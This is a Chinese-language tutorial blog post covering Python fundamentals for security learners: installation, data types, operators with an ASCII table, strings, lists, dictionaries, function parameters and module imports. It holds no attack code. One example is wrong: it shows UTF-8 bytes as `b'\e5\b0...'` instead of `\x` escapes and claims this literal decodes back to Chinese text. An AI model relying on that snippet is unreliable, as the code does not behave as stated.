系列二:Python安全开发入门基础(专为网络安全专家打造)

⚠️ 本文仅用于学习与研究目的,切勿用于非法用途,违者后果自负。

前言:

想必大家在学习网络安全的过程中,一定会越发觉得代码是必备的知识,但是我们网安要接触到的编程语言非常之多(比如代码审计需要学会JAVA、PHP;安全工具开发要学会Go、Python;免杀代码还需要会C++等等)

我们不可能把每门语言按照开发的要求去学习,这样时间成本太大了,而且容易失去兴趣

因此,我打算整理一下我通过看网课和资料积累下来的笔记,把编程语言中与安全相关的、必备的知识拎出来,变成文章,一来巩固自身,二来分享给大家

希望大家会喜欢这篇文章,也欢迎大家来指出笔记中的问题~

注:本文为系列二,后续其他编程语言的笔记我会找个时间整理后上传,敬请期待~

Python安全开发基础

一、学习目标

1、利用Python完成安全脚本开发,提高工作效率

2、利用Python进行自动化运维、日志分析等

3、针对特定的服务器环境,用于开发安全测试工具

4、使用Python进行安全基线检查

5、使用Python进行资产收集、资产管理、信息采集

6、安全领域多去积累Python的经验

二、Python的特点

1、跨平台,可移植性高
2Python有丰富的第三方库,开发效率更高
3Python的底层是c语言开发的,整体运行效率较高
4Python的开源项目、学习资源非常丰富

三、安装环境和PyCharm

1、安装参考博客(for mac)

https://blog.csdn.net/weixin_45571585/article/details/128606516

2、常用配置

(1)pip

pip可以用于在线安装第三方库

在线安装:

pip install xxx

还可以指定版本号安装:

pip install xxx == 2.5.8

离线安装步骤:
1)下载whl文件
2pip install xxx.whl  路径别写错

第三方库的官网地址:https://pypi.org/
但是,由于是外网,正常访问会比较慢
解决方法:
1、使用国内镜像
2、科学上网

其他操作

卸载第三方库:

pip uninstall xxxx

列举已经安装了哪些第三方库:

pip list

过滤:

pip list | findstr xxx

(2)PyCharm常用配置

1、创建新的项目

2、在项目目录下创建Python Package(Python包)

包的本质是一个目录,可以用于对Python源代码进行分类管理,与普通目录的区别在于是否存在__init__.py这个文件

3、编码格式

优先使用utf-8

4、更换Python版本

四、Python的基础语法

1、Python的数据类型

(1)数字

a=100
b=123.45
c=-123

(2)字符串

a="Hello"
b='你好'
c='''这是一个由三个单引号包裹的字符串,通常用于多行预定义格式的输出,预定义格式就是字符串中存在的换行符、空格、tab等都会在输出的时候有体现'''
d="""这是一个由三个双引号包裹的字符串,作用同三个单引号"""

(3)布尔型

a=True
b=False

(4)列表:

a=[1,2,3]
b=['张三','李四','王五']
就是PHP中的索引数组
就是JS中的数组(格式完全一致)

(5)字典

a={'name':'张三','age':23,'sex':'男','phone':'13801234567'}
就是PHP中的关联数组
就是JS中的对象(格式完全一致)

(6)集合

与列表相似
在集合当中不允许出现重复的数据

(7)元组

与列表一样,只是将[]变成()
但是他们之间唯一的区别就是:元组里面的数据不能修改

(8)对象

class声明的对象

(9)空类型:None

2、命名规范

必要:
1)变量名可以包括字母、数字、下划线,但是数字不能作为开头
2)系统关键字(ifelseclassforbreakcontinuedef等)不能作为变量名使用
3)除下划线之外,其他符号不能作为变量名使用
4Python的变量名是区分大小写的
非必要(但要尽量做到):
1)不要使用中文全拼去命名变量、函数、类、方法、包名等,优先使用英文单词
2)所有的命名都是有意义的
3)函数、变量、包的命名,如果超过一个单词,可使用下述规则
    3.1)下划线连接:play_music
    3.2)小驼峰:playMusic
4)类的命名,使用大驼峰:MyPhonePeople

3、注释

#注释单行

"""
三个双引号,注释多行
"""

'''
三个单引号,注释多行
'''

4、输入输出

(1)输出

#字典的输出
people = {'name':'张三','age':23,'sex':'男','phone':'13801234567'}
print(people['name']) #输出张三

#列表的输出
number = [1,2,3,4]
print(number[0]) #输出1

#print()中的end参数,默认为"\n",这也就意味着print输出完成后默认自动换行
    #当然也可以自己设置参数
    print('1',end = '')
    print('2')
    #输出12

    print('1',end = '\t')
    print('2')
    #输出1 2

    print('1',end = '\n')  #就等价于print('1')
    print('2')
    '''
    输出:
    1
    2
    '''

string = "这是一串电话号码:"
phone = '123456'
print(string + phone)
#输出:这是一串电话号码:123456
#字符串与字符串之间可以通过+来拼接
#但是字符串与数字之间不能用+来拼接

#格式化输出
    #方式1:
    string = "这是一串电话号码:"
    phone = 123456
    print('%s %d'%(string,phone)) #输出:这是一串电话号码: 123456
    #格式需要和占位符对应
    # %s对应字符串 %d对应数字 %f对应浮点数(小数)
    #%.2f表示取两位小数

    #方式2
    print(f"{string}{phone}") #输出:这是一串电话号码:123456

    #方法3
    print(string+str(phone)) #输出:这是一串电话号码:123456
    #强制类型转换

    #方法4
    print("{}{}".format(string,phone)) #输出:这是一串电话号码:123456
       #特殊情况:小数若要定义保留多少位小数
      print("{:.2f}".format(12.12345)) #输出12.12

(2)输入

使用input

默认输入的内容都是字符串

string = input("请输入:")
print(string)

五、Python数值与运算符

1、运算符

(1)基础运算符

运算符

描述

实例

+

加 – 两个对象相加

a + b 输出结果 31

减 – 得到负数或是一个数减去另一个数

a – b 输出结果 -11

*

乘 – 两个数相乘或是返回一个被重复若干次的字符串

a * b 输出结果 210

/

除 – x 除以 y

b / a 输出结果 2.1

%

取模 – 返回除法的余数

b % a 输出结果 1

**

幂 – 返回x的y次幂

a**b 为10的21次方

//

取整除 – 往小的方向取整数

>>> 9//2 4 >>> -9//2 -5

(2)比较运算符

运算符

描述

实例

==

等于 – 比较对象是否相等

(a == b) 返回 False。

!=

不等于 – 比较两个对象是否不相等

(a != b) 返回 True。

>

大于 – 返回x是否大于y

(a > b) 返回 False。

<

小于 – 返回x是否小于y。所有比较运算符返回1表示真,返回0表示假。这分别与特殊的变量True和False等价。注意,这些变量名的大写。

(a < b) 返回 True。

>=

大于等于 – 返回x是否大于等于y。

(a >= b) 返回 False。

<=

小于等于 – 返回x是否小于等于y。

(a <= b) 返回 True。

补充一个知识点:
python中如果是字符与字符之间的比较,比较的其实是他们的ASCII码的大小
当然也可以利用ord(),将字符串转换成ASCII码后再进行比较

附赠一张ASCII表在这:

二进制

八进制

十进制

十六进制

字符/缩写

解释

00000000

000

0

00

NUL (NULL)

空字符

00000001

001

1

01

SOH (Start Of Headling)

标题开始

00000010

002

2

02

STX (Start Of Text)

正文开始

00000011

003

3

03

ETX (End Of Text)

正文结束

00000100

004

4

04

EOT (End Of Transmission)

传输结束

00000101

005

5

05

ENQ (Enquiry)

请求

00000110

006

6

06

ACK (Acknowledge)

回应/响应/收到通知

00000111

007

7

07

BEL (Bell)

响铃

00001000

010

8

08

BS (Backspace)

退格

00001001

011

9

09

HT (Horizontal Tab)

水平制表符

00001010

012

10

0A

LF/NL(Line Feed/New Line)

换行键

00001011

013

11

0B

VT (Vertical Tab)

垂直制表符

00001100

014

12

0C

FF/NP (Form Feed/New Page)

换页键

00001101

015

13

0D

CR (Carriage Return)

回车键

00001110

016

14

0E

SO (Shift Out)

不用切换

00001111

017

15

0F

SI (Shift In)

启用切换

00010000

020

16

10

DLE (Data Link Escape)

数据链路转义

00010001

021

17

11

DC1/XON (Device Control 1/Transmission On)

设备控制1/传输开始

00010010

022

18

12

DC2 (Device Control 2)

设备控制2

00010011

023

19

13

DC3/XOFF (Device Control 3/Transmission Off)

设备控制3/传输中断

00010100

024

20

14

DC4 (Device Control 4)

设备控制4

00010101

025

21

15

NAK (Negative Acknowledge)

无响应/非正常响应/拒绝接收

00010110

026

22

16

SYN (Synchronous Idle)

同步空闲

00010111

027

23

17

ETB (End of Transmission Block)

传输块结束/块传输终止

00011000

030

24

18

CAN (Cancel)

取消

00011001

031

25

19

EM (End of Medium)

已到介质末端/介质存储已满/介质中断

00011010

032

26

1A

SUB (Substitute)

替补/替换

00011011

033

27

1B

ESC (Escape)

逃离/取消

00011100

034

28

1C

FS (File Separator)

文件分割符

00011101

035

29

1D

GS (Group Separator)

组分隔符/分组符

00011110

036

30

1E

RS (Record Separator)

记录分离符

00011111

037

31

1F

US (Unit Separator)

单元分隔符

00100000

040

32

20

(Space)

空格

00100001

041

33

21

!

00100010

042

34

22

"

00100011

043

35

23

#

00100100

044

36

24

$

00100101

045

37

25

%

00100110

046

38

26

&

00100111

047

39

27

'

00101000

050

40

28

(

00101001

051

41

29

)

00101010

052

42

2A

*

00101011

053

43

2B

+

00101100

054

44

2C

,

00101101

055

45

2D

00101110

056

46

2E

.

00101111

057

47

2F

/

00110000

060

48

30

0

00110001

061

49

31

1

00110010

062

50

32

2

00110011

063

51

33

3

00110100

064

52

34

4

00110101

065

53

35

5

00110110

066

54

36

6

00110111

067

55

37

7

00111000

070

56

38

8

00111001

071

57

39

9

00111010

072

58

3A

:

00111011

073

59

3B

;

00111100

074

60

3C

<

00111101

075

61

3D

=

00111110

076

62

3E

>

00111111

077

63

3F

?

01000000

100

64

40

@

01000001

101

65

41

A

01000010

102

66

42

B

01000011

103

67

43

C

01000100

104

68

44

D

01000101

105

69

45

E

01000110

106

70

46

F

01000111

107

71

47

G

01001000

110

72

48

H

01001001

111

73

49

I

01001010

112

74

4A

J

01001011

113

75

4B

K

01001100

114

76

4C

L

01001101

115

77

4D

M

01001110

116

78

4E

N

01001111

117

79

4F

O

01010000

120

80

50

P

01010001

121

81

51

Q

01010010

122

82

52

R

01010011

123

83

53

S

01010100

124

84

54

T

01010101

125

85

55

U

01010110

126

86

56

V

01010111

127

87

57

W

01011000

130

88

58

X

01011001

131

89

59

Y

01011010

132

90

5A

Z

01011011

133

91

5B

[

01011100

134

92

5C

\

01011101

135

93

5D

]

01011110

136

94

5E

^

01011111

137

95

5F

_

01100000

140

96

60

`

01100001

141

97

61

a

01100010

142

98

62

b

01100011

143

99

63

c

01100100

144

100

64

d

01100101

145

101

65

e

01100110

146

102

66

f

01100111

147

103

67

g

01101000

150

104

68

h

01101001

151

105

69

i

01101010

152

106

6A

j

01101011

153

107

6B

k

01101100

154

108

6C

l

01101101

155

109

6D

m

01101110

156

110

6E

n

01101111

157

111

6F

o

01110000

160

112

70

p

01110001

161

113

71

q

01110010

162

114

72

r

01110011

163

115

73

s

01110100

164

116

74

t

01110101

165

117

75

u

01110110

166

118

76

v

01110111

167

119

77

w

01111000

170

120

78

x

01111001

171

121

79

y

01111010

172

122

7A

z

01111011

173

123

7B

{

01111100

174

124

7C

|

01111101

175

125

7D

}

01111110

176

126

7E

~

01111111

177

127

7F

DEL (Delete)

删除

(3)赋值运算符

运算符

描述

实例

=

简单的赋值运算符

c = a + b 将 a + b 的运算结果赋值为 c

+=

加法赋值运算符

c += a 等效于 c = c + a

-=

减法赋值运算符

c -= a 等效于 c = c – a

*=

乘法赋值运算符

c *= a 等效于 c = c * a

/=

除法赋值运算符

c /= a 等效于 c = c / a

%=

取模赋值运算符

c %= a 等效于 c = c % a

**=

幂赋值运算符

c **= a 等效于 c = c ** a

//=

取整除赋值运算符

c //= a 等效于 c = c // a

:=

海象运算符,这个运算符的主要目的是在表达式中同时进行赋值和返回赋值的值。Python3.8 版本新增运算符

在这个示例中,赋值表达式可以避免调用 len() 两次:if (n := len(a)) > 10:    print(f"List is too long ({n} elements, expected <= 10)")

(4)位运算符

运算符

描述

实例

&

按位与运算符:参与运算的两个值,如果两个相应位都为1,则该位的结果为1,否则为0

(a & b) 输出结果 12 ,二进制解释: 0000 1100

|

按位或运算符:只要对应的二个二进位有一个为1时,结果位就为1。

(a | b) 输出结果 61 ,二进制解释: 0011 1101

^

按位异或运算符:当两对应的二进位相异时,结果为1

(a ^ b) 输出结果 49 ,二进制解释: 0011 0001

~

按位取反运算符:对数据的每个二进制位取反,即把1变为0,把0变为1。~x 类似于 -x-1

(~a ) 输出结果 -61 ,二进制解释: 1100 0011, 在一个有符号二进制数的补码形式。

<<

左移动运算符:运算数的各二进位全部左移若干位,由"<<"右边的数指定移动的位数,高位丢弃,低位补0。

a << 2 输出结果 240 ,二进制解释: 1111 0000

>>

右移动运算符:把">>"左边的运算数的各二进位全部右移若干位,">>"右边的数指定移动的位数

a >> 2 输出结果 15 ,二进制解释: 0000 1111

当然位运算是针对二进制数据的运算,那就需要知道相关的进制转换函数

#字符与ASCII的转换
print(ord("A")) #65
print(ord("郑")) #37073
print(chr(65)) #A
print(chr(37073)) #郑

#十进制转换成其他进制
print(hex(20)) #转十六进制 0x14    0x开头表示十六进制
print(bin(20)) #转二进制 0b10100   0b开头表示二进制
print(oct(20)) #转八进制 0o24      0o开头表示八进制
(5)逻辑运算符

运算符

逻辑表达式

描述

实例

and

x and y

布尔"与" – 如果 x 为 False,x and y 返回 x 的值,否则返回 y 的计算值。

(a and b) 返回 20。

or

x or y

布尔"或" – 如果 x 是 True,它返回 x 的值,否则它返回 y 的计算值。

(a or b) 返回 10。

not

not x

布尔"非" – 如果 x 为 True,返回 False 。如果 x 为 False,它返回 True。

not(a and b) 返回 False

(6)成员运算符

运算符

描述

实例

in

如果在指定的序列中找到值返回 True,否则返回 False。

x 在 y 序列中 , 如果 x 在 y 序列中返回 True。

not in

如果在指定的序列中没有找到值返回 True,否则返回 False。

x 不在 y 序列中 , 如果 x 不在 y 序列中返回 True。

(7)身份运算符

运算符

描述

实例

is

is 是判断两个标识符是不是引用自一个对象

x is y, 类似 id(x) == id(y) , 如果引用的是同一个对象则返回 True,否则返回 False

is not

is not 是判断两个标识符是不是引用自不同对象

x is not y , 类似 id(x) != id(y)。如果引用的不是同一个对象则返回结果 True,否则返回 False。

2、数字类型

(1)数字类型转换

int(x) x转换为一个整数。
float(x) x转换到一个浮点数。

#数值类型的转换
    #float转换成int无四舍五入的概念,仅仅是取整数部分,所以输出皆为123,123,-123
    print(int(123.456))
    print(int(123.556))
    print(int(-123.456))

    #若要四舍五入,可以使用round()
    print(round(123.456)) #123
    print(round(123.556)) #124
    #round还可以设置参数,保留几位小数(也会四舍五入)
    print(round(123.456,2)) #123.46
    print(round(123.452,2)) #123.45

    #混杂
    print(float("123.45")) #123.45
    print(int(float("123.45"))) #123
    print(float(1234)) #1234.0

    #数字转换成字符串
    phone = 123456
    print("你的电话号码是" + str(phone)) #你的电话号码是123456
(2)数字类型的函数

函数

返回值 ( 描述 )

abs(x)

返回数字的绝对值,如abs(-10) 返回 10

ceil(x)

返回数字的上入整数,如math.ceil(4.1) 返回 5

cmp(x, y)

如果 x < y 返回 -1, 如果 x == y 返回 0, 如果 x > y 返回 1。 Python 3 已废弃,使用 (x>y)-(x<y) 替换

exp(x)

返回e的x次幂(ex),如math.exp(1) 返回2.718281828459045

fabs(x)

以浮点数形式返回数字的绝对值,如math.fabs(-10) 返回10.0

floor(x)

返回数字的下舍整数,如math.floor(4.9)返回 4

log(x)

如math.log(math.e)返回1.0,math.log(100,10)返回2.0

log10(x)

返回以10为基数的x的对数,如math.log10(100)返回 2.0

max(x1, x2,…)

返回给定参数的最大值,参数可以为序列。

min(x1, x2,…)

返回给定参数的最小值,参数可以为序列。

modf(x)

返回x的整数部分与小数部分,两部分的数值符号与x相同,整数部分以浮点型表示。

pow(x, y)

x**y 运算后的值。

round(x [,n])

返回浮点数 x 的四舍五入值,如给出 n 值,则代表舍入到小数点后的位数。其实准确的说是保留值将保留到离上一位更近的一端。

sqrt(x)

返回数字x的平方根。

(3)随机数

函数

描述

choice(seq)

从序列的元素中随机挑选一个元素,比如random.choice(range(10)),从0到9中随机挑选一个整数。

randrange ([start,] stop [,step])

从指定范围内,按指定基数递增的集合中获取一个随机数,基数默认值为 1

random()

随机生成下一个实数,它在[0,1)范围内。

seed([x])

改变随机数生成器的种子seed。如果你不了解其原理,你不必特别去设定seed,Python会帮你选择seed。

shuffle(lst)

将序列的所有元素随机排序

uniform(x, y)

随机生成下一个实数,它在[x,y]范围内。

import random #导入一个模块,否则无法使用random

r1 = random.randint(1,10) #生成一个闭区间的随机整数
print(r1)

r2 = random.randrange(1,10) #生成一个左闭右开的随机整数
print(r2)
r3 = random.randrange(1,10,2) #还可以设置步长,也就是这次的随机整数只能在1,3,5,7,9里面取
print(r3)

r4 = random.uniform(1.5,3.5) #指定范围内的随机小数
print(r4)

#字符串、列表、集合、元组都称为序列
#random.choice就是从序列当中随机取得序列中的某一元素
r5 = random.choice("你好 ABC") #从你、好、空字符、A、B、C中随机取一元素
r6 = random.choice([1,2,3,4])   #从1,2,3,4中随机取一元素
print(r5)
print(r6)

3、字符串类型

(1)字符串的定义规则

(2)字符串的切片操作

source = "HelloZYF"
print(source[0]) #取第一个字符H
print(source[5:8]) #取第六个字符到第七个字符,符合左闭右开的规则,即输出ZYF
print(source[:8]) #从第一字符开始取,取到第七个字符,即HelloZYF
print(source[0:]) #从第一字符开始取,取到最后一个字符,即HelloZYF
print(source[0:-1]) #从第一字符开始取,取到第六个字符,即HelloZY
print(source[0:8:2]) #从第一个字符开始取,步长为二,最多取到最后一个字符,即HloY
(3)字符串内置方法
#字符串内置方法
source = "HelloZYF"

print(len(source)) #取字符串的长度 输出8
print(source.count('l')) #子字符串在字符串中出现的次数 输出2

source_01 = "zhang,li,wang,zheng,zhao"
print(source_01.split(',')) #以逗号为分隔符把字符串拆分成列表
#输出['zhang', 'li', 'wang', 'zheng', 'zhao']

list = ["zhang","li","wang","zheng","zhao"]
print(",".join(list)) #将列表元素合并成一个字符串,且元素与元素之间用逗号分隔
#输出zhang,li,wang,zheng,zhao

source_02 = "小新"
print(source_02.encode()) #encode将字符串按照指定的编码格式转换成字符字节类型,默认编码格式为UTF-8
#输出b'\e5\b0\8f\e6\96\b0'
#UTF-8中一个中文字对应三个字节

source_03 = b'\e5\b0\8f\e6\96\b0'
print(source_03.decode()) #decode将字节类型按照指定的编码格式转换成字符串,默认编码格式为UTF-8
#输出小新

清除字符串左右的不可见字符

source_04 = "    \tzyf      "
print(source_04) #
print(source_04.strip())

输出:

       zyf     
zyf

更多的用法可以去网上搜(比如像菜鸟教程

六、Python列表与字典

1、列表和元组

(1)列表元素的输出:
import random

source = ["张三","李四","王五",True,123456]
print(source) #输出['张三', '李四', '王五', True, 123456]
print(source[1]) #输出李四
print(source[1:3]) #输出['李四','王五']
print(source[-1]) #输出123456
print(random.choice(source))  #随机输出列表中的元素
#可以发现字符串中分片的用法在列表同样适用

#元组和列表的区别无非就是将[]改成(),用法一致,仅展示一个
tup = ("张三","李四","王五",True,123456)
print(tup) #输出('张三', '李四', '王五', True, 123456)
(2)遍历列表

方法一:使用下标的方式遍历列表

list = ["张三","李四","王五",True,123456]
#在Python中,采用缩进的方式表示在循环体内
#range中符合左闭右开,而且取的都是离散的数值
for i in range(0,len(list)):
    print(list[i])
   
#如果下标从0开始,可以省略,也就是上面的代码等价于
for i in range(len(list)):
    print(list[i])
   
#也可以自定义步长
for i in range(0,len(list),2):
    print(list[i])

输出:

张三
李四
王五
True
123456

张三
李四
王五
True
123456

张三
王五
123456

方法二:用for……in直接取值

for item in list:
    print(item)

输出:

张三
李四
王五
True
123456

(3)列表和元组的特殊用法

给其他变量赋值

def tuple_usage():
    a,b,c = (1,2,3) #也可以是a,b,c = [1,2,3] 也可以a,b,c = 1,2,3 
    print(a)

tuple_usage()
#会输出1
#只要与元组/列表一一对应位置,那么相应的位置就会被赋值

python的函数返回值可以是元组类型

def tuple_usage():
    a,b,c = (1,2,3)
    return a,b

tup = tuple_usage()
print(tup)
#输出(1,2)
(4)补充知识点(循环,判断):

补充一下循环的其他用法:

list = ["张三", "李四", "王五", True, 123456]

for item in list:
    print(item)
else:
    print('循环结束')

i = 0
while(i<len(list)):
    print(list[i])
    i += 1
else:
    print('循环结束')

   
#在循环中可以使用break和continue

输出结果:

张三
李四
王五
True
123456
循环结束

张三
李四
王五
True
123456
循环结束

补充判断语法;

import random
i = random.randint(1,10)
if i < 5:
    print("too small")
elif i>5:
    print("too big")
else:
    print("good job")
   
   
if "张三" in list and i<5:
    print("存在")
else:
    print("不存在")
(5)列表的其他用法
list_define = []
list_define.append(111) #往列表里面添加元素
list_define.append(222)
list_define.append(333)
list_define.append(444)
list_define.append(555)
print(list_define)
#输出[111, 222, 333, 444, 555]

list_define.remove(111)
print(list_define)
#输出[222, 333, 444, 555]

list_define_01 = [2,3,5,1,6]
list_define_01.sort() #默认为升序排列,若要降序list_define_01.sort(reverse = True)
print(list_define_01)
#输出[1, 2, 3, 5, 6]

#列表转换成元组
list_tran = [1,2,3]
tup = tuple(list_tran)
print(tup)
#输出(1, 2, 3)


#元组转换成列表
tup = (1,2,3)
list_tr = list(tup)
print(list_tr)
#输出[1, 2, 3]
(6)元组的一些细节问题

首先元组设定好后就不能对里面的元素进行修改

要删除只能整体删除

#整体删除的方法
tup = (1,2,3)
del(tup)

元组当中如果只有一个元素的话,设定的时候需要注意格式

tup = (1,) #当元组当中只有一个元素时,定义的时候需要带上逗号,否则会变成普通类型
print(tup)

2、字典

#字典的定义
people = {'name':'张三','age':23,'sex':'男','phone':'13801234567'}


#字典的取值
print(people['name']) #张三
print(people.get('name')) #张三


#字典的更新
#方法一:直接通过key修改,如果key不存在,则会产生一个新的元素插入到字典当中
people['sex'] = '女'
print(people) #{'name': '张三', 'age': 23, 'sex': '女', 'phone': '13801234567'}
people['addr'] = "浙江宁波"
print(people) #{'name': '张三', 'age': 23, 'sex': '女', 'phone': '13801234567', 'addr': '浙江宁波'}
#方法二:通过update方法进行修改
people.update({'name':'四妹','age':'10'})
print(people) #{'name': '四妹', 'age': '10', 'sex': '女', 'phone': '13801234567', 'addr': '浙江宁波'}


#字典的删除
people.pop('addr')
print(people) #{'name': '四妹', 'age': '10', 'sex': '女', 'phone': '13801234567'}


#字典的遍历

#遍历key
for k in people:
    print("key:%s  value:%s"%(k,people[k]))
'''
输出:
key:name  value:四妹
key:age  value:10
key:sex  value:女
key:phone  value:13801234567
'''

#遍历value
for v in people.values():
    print(v)
'''
输出:
四妹
10
女
13801234567
'''

#直接key和value一起遍历
for k,v in people.items():
    print(k,v)
'''
输出:
name 四妹
age 10
sex 女
phone 13801234567
为什么会有这样的效果呢
我们测试一下
'''
for kv in people.items():
    print(kv)
'''
输出:
('name', '四妹')
('age', '10')
('sex', '女')
('phone', '13801234567')
输出的是元组类型,那么如果写的是k,v那么k和v就会相应地被赋值,所以得到key和value一起遍历的效果
'''

七、Python函数与参数

1、函数的作用

(1)函数用于确保代码的可复用性

(2)函数通常是由小代码块构成,方便维护和调试,也更加有利于进行单元测试

(3)一个函数通常只解决一个特定的问题,如果这个问题还可以继续细分,则就继续拆分成多个函数来解决

(4)在面向过程的领域中,相关联的一些函数可以整合到Python的一个模块当中;在面向对象领域中,就是在类中定义很多的方法

2、函数的基本用法

(1)函数的基本构成和使用
#函数的构成:
#(1)函数名(必须有,且在同一作用范围内不允许重复)
#(2)参数(可以没有),遵循标准的命名规范
#(3)返回值(可以没有),如果没有返回值,则返回None

#无参数,无返回值
def test_01():
    print('Hello world!')

#有参数,无返回值
def test_02(a,b):
    result = a + b
    print(result)

#有参数,有返回值
def test_03(a,b):
    result = a + b
    return result

test_01() #输出Hello world!
test_02(100,200) #输出300
print(test_03(100,200)) #输出300

比较特殊的用法

#可以将函数名赋值给变量
def test_04():
       print('Hello!')
      
x = test_04 #将函数名赋值给x
print(x) #会输出test_04这个函数在内存中的地址,<function test_04 at 0x101043a60>
#这也就说明了函数名称就代表着其内存地址
x() #就相当于test_04(),输出内容Hello!

再来看一个

#将函数名称作为参数传进函数

def test_01():
       print('How do you do!')

def test_02(fun):
       fun()
      
test_02(test_01) #输出How do you do!

当我们难以分辨类型的时候,可以使用type来看一下是什么数据类型

def test_01():
       print('How do you do!')

x = test_01
print(type(x)) #输出<class 'function'>
(2)函数的参数

Python中函数里面的参数分为以下四种类型:
1、必须参数(位置参数:positional argument
2、默认值参数(定义形参的时候,可以设置一个默认值)
3、可变长参数,是可选参数,必须加上*说明
4、字典参数(关键字参数),用来定义字典参数,必须加上**说明
参数定义的顺序不能乱,顺序按照1234
通常情况下,自定义函数(并不交由第三方调用时或者不考虑各种复杂场景时,位置参数和默认值参数够用了)
如果需要将函数交由其他用户调用或开发的是一套框架需要考虑各种复杂调用的情况又或者是参数不确定,才需要用到可变长参数和字典参数

# 必须参数(位置参数):下面的a,b都属于位置参数
def test_01(a, b):
    result = a + b
    print(result)


test_01(100,200)
'''
输出300
'''


# 默认值参数:下面的就是属于默认值参数
def test_02(a, b, c=100):
    result = a * b + c
    print(result)


test_02(100,200) #默认值参数可以不传参
test_02(100,200,300) #若传入参数,则就会修改参数的值
test_02(a=100,b=200,c=300) #更推荐这样的传参方式,谁传给谁更加的清晰明了
test_02(c=300,b=200,a=100) #而且支持不按照顺序去传参
'''
输出
20100
20300
20300
20300
'''


# 可变长参数:下面的*args就是
def test_03(a, b, c=100, *args):
    result = a * b + c
    print(result)
    print(args) #可变长参数是以元组的形式存在的
    print(*args) #在元组前面加*,表示将该数据展开,比如(1,2)展开后就是1 2


test_03(100,200,300) #可变长参数可以不传入参数
'''
输出
20300
()

'''
test_03(100,200,300,1,2,3,4)
'''
输出
20300
(1, 2, 3, 4)
1 2 3 4
'''



# 字典参数:下面的**kwargs就是
def test_04(a, b, c=100, *args, **kwargs):
    result = a * b + c
    print(result)
    print(args)
    print(*args)
    print(kwargs)


#字典参数不能包含位置参数或默认值参数,即不能出现test_04(100,200,300,1,a=1)
test_04(100,200,300,1,2,3,name='张三',e=123)
'''
输出
20300
(1, 2, 3)
1 2 3
{'name': '张三', 'e': 123}
'''
test_04(100,200,300,1,2,3)
'''
输出
20300
(1, 2, 3)
1 2 3
{}
'''

八、Python的模块和包

1、层次结构

层次(从大到小):
项目
  包(含有__init__.py的目录)
    模块(源文件(xxx.py))
      函数、类或者模块级变量

2、调用

(1)如何调用其他模块中的函数或者类等?

在同一个模块文件中,要调用该模块中的函数或者类等,直接调用即可,不存在包或者模块的导入问题

但是,如果要在模块文件中引用其他模块文件中的函数或者类等,则需要进行导入操作

modela.py

def test_01():
    print("hello!")

modelb.py

#导入方式有两种

#导入模块级,调用时,用 模块.函数 的方法进行使用
import modela
modela.test_01()

#通过from……import……,导入函数级,调用函数的时候直接使用函数即可
from modela import test_01
test_01()

通常情况下,同一包下,可以不需要在导入的时候明确申明包名,但是,建议无论在何种情况下,都把包名加上

此时的结构

#方式一
import basic.modela
basic.modela.test_01()

#方式二
from basic.modela import test_01
test_01()

此时比较建议方式二,因为方式一会随着包的嵌套变得越来越长

注意:

在导包的时候,注意不要循环导入,比如在A中导入B,在B中导入A

比如:
如果两个模块都在顶部互相导入,那就陷入了导入的死循环(因为导入会先执行一遍导入模块的源代码,然后看到第一行也是导入……)

如果确实是需要用到互相导入的部分,那么就不要在开头互相导入,可以在函数或者类内部进行导入,避免死循环现象

(2)问题出现了

假设我们有个模块叫modela.py

def test_01():
    print('hello')

test_01()

此时在另外个模块(modelb.py)中想要使用该函数,就要导入该模块文件,也就是:

import modela
modela.test_01() #使用别的模块的函数需要在前面加上对方的模块名

此时一运行,发现

hello
hello

输出了两次hello

原因:
当我们使用import导入模块的时候,会将导入模块中的源代码直接执行一遍
可以理解为import就是做了复制粘贴的操作(将要导入的模块的源代码复制到当前模块),这样的话,我们就相当于执行了两次test_01()这个函数,也就是输出了两次hello

(3)问题解决

要解决这个问题,我们就需要在modela.y这个模块当中加上判断条件

def test_01():
    print('hello')

if __name__ == '__main__':
    test_01()

这是什么原理呢?

首先,在python当中,这种被下划线包围起来变量,都称为魔术变量

那么,同样的还有魔术方法,魔术模块(比如包中有的__init__.py)等

我们可以测试一下,在modela.py这个模块下输出__name__的值

def test_01():
    print('hello')

print(__name__)

会发现输出:

__main__

根据之前的测试,此时我们在另一个模块modelb.py当中导入modela模块,会先执行一遍modela的源代码

利用这点,我们再次输出此时魔术变量__name__试试

import modela #导入modela模块

输出:

modela

输出为导入模块的模块名

现在就可以来解释if __name__ == '__main__':这个判断的作用了

如果在本模块(假设模块名为a)内运行,那么此时的魔术变量__name__的值就是__main__,我们可以正常的去执行本模块需要执行的代码
如果别的模块(假设模块名为b)调用了模块a,那么模块b在导入的时候会先执行一边模块a的源代码,但是由于我们加上了__name__这个魔术变量的判断,而且此时__name__的值变成了模块a的名字,不符合判断条件,也就是不会执行判断语句下的那些代码。
因此,模块b在调用模块a的函数或者类等的时候,就不会出现再把对方模块代码再执行一遍的现象了

3、模块级变量

(1)模块级变量的定义

模块级变量:直接隶属于当前模块,与函数和类同级;可以理解为当前模块的全局变量

modela.py

source = "这是一个模块级变量"
def test_01():
    print(source)

if __name__ == '__main__':
    test_01()

modelb.py

import modela #导入modela模块
modela.test_01()

运行modelb.py,输出

这是一个模块级变量

(2)是否会和局部变量冲突?

此时我们在modela中引入一个局部变量

source = "这是一个模块级变量"
def test_01():
    source = "这是一个局部变量"
    print(source)

if __name__ == '__main__':
    test_01()

再次运行modelb会发现输出:

这是一个局部变量

这就意味着,局部变量的优先级会比全局变量更高,换言之,在变量名冲突的时候,如果在局部变量的范围之内,就优先使用局部变量,如果超出局部变量的范围,就会使用模块级变量

那如果要在函数内修改全局变量呢?

需要加上global声明

source = "这是一个模块级变量"
def test_01():
    global source #声明使用的source是全局变量
    source = "这是一条修改信息"

if __name__ == '__main__':
    test_01()

此时我们在modelb模块中查看全局变量的值

import modela #导入modela模块
modela.test_01()
print(modela.source)

输出:

这是一条修改信息

特别注意:

列表或者字典在函数中判断是否是模块级的时候,只需要看他们是否有新的定义

若重名且有新定义,那么这个就是局部列表/字典

若重名但没新定义(添加、删除、更新内容等都不算新定义),那么这个就是模块级列表/字典

比如:

modela.py

test_list = [1,2,3]
def test_01():
    test_list.append(4)

if __name__ == '__main__':
    test_01()

modelb.py

import modela #导入modela模块
modela.test_01()
print(modela.test_list)

输出:

[1, 2, 3, 4]

若:

modela.py

test_list = [1,2,3]
def test_01():
    test_list = [11,22,33]
    test_list.append(44)
    print(test_list)

if __name__ == '__main__':
    test_01()

modelb.py

import modela #导入modela模块
modela.test_01()
print(modela.test_list)

输出:

[11, 22, 33, 44]
[1, 2, 3]

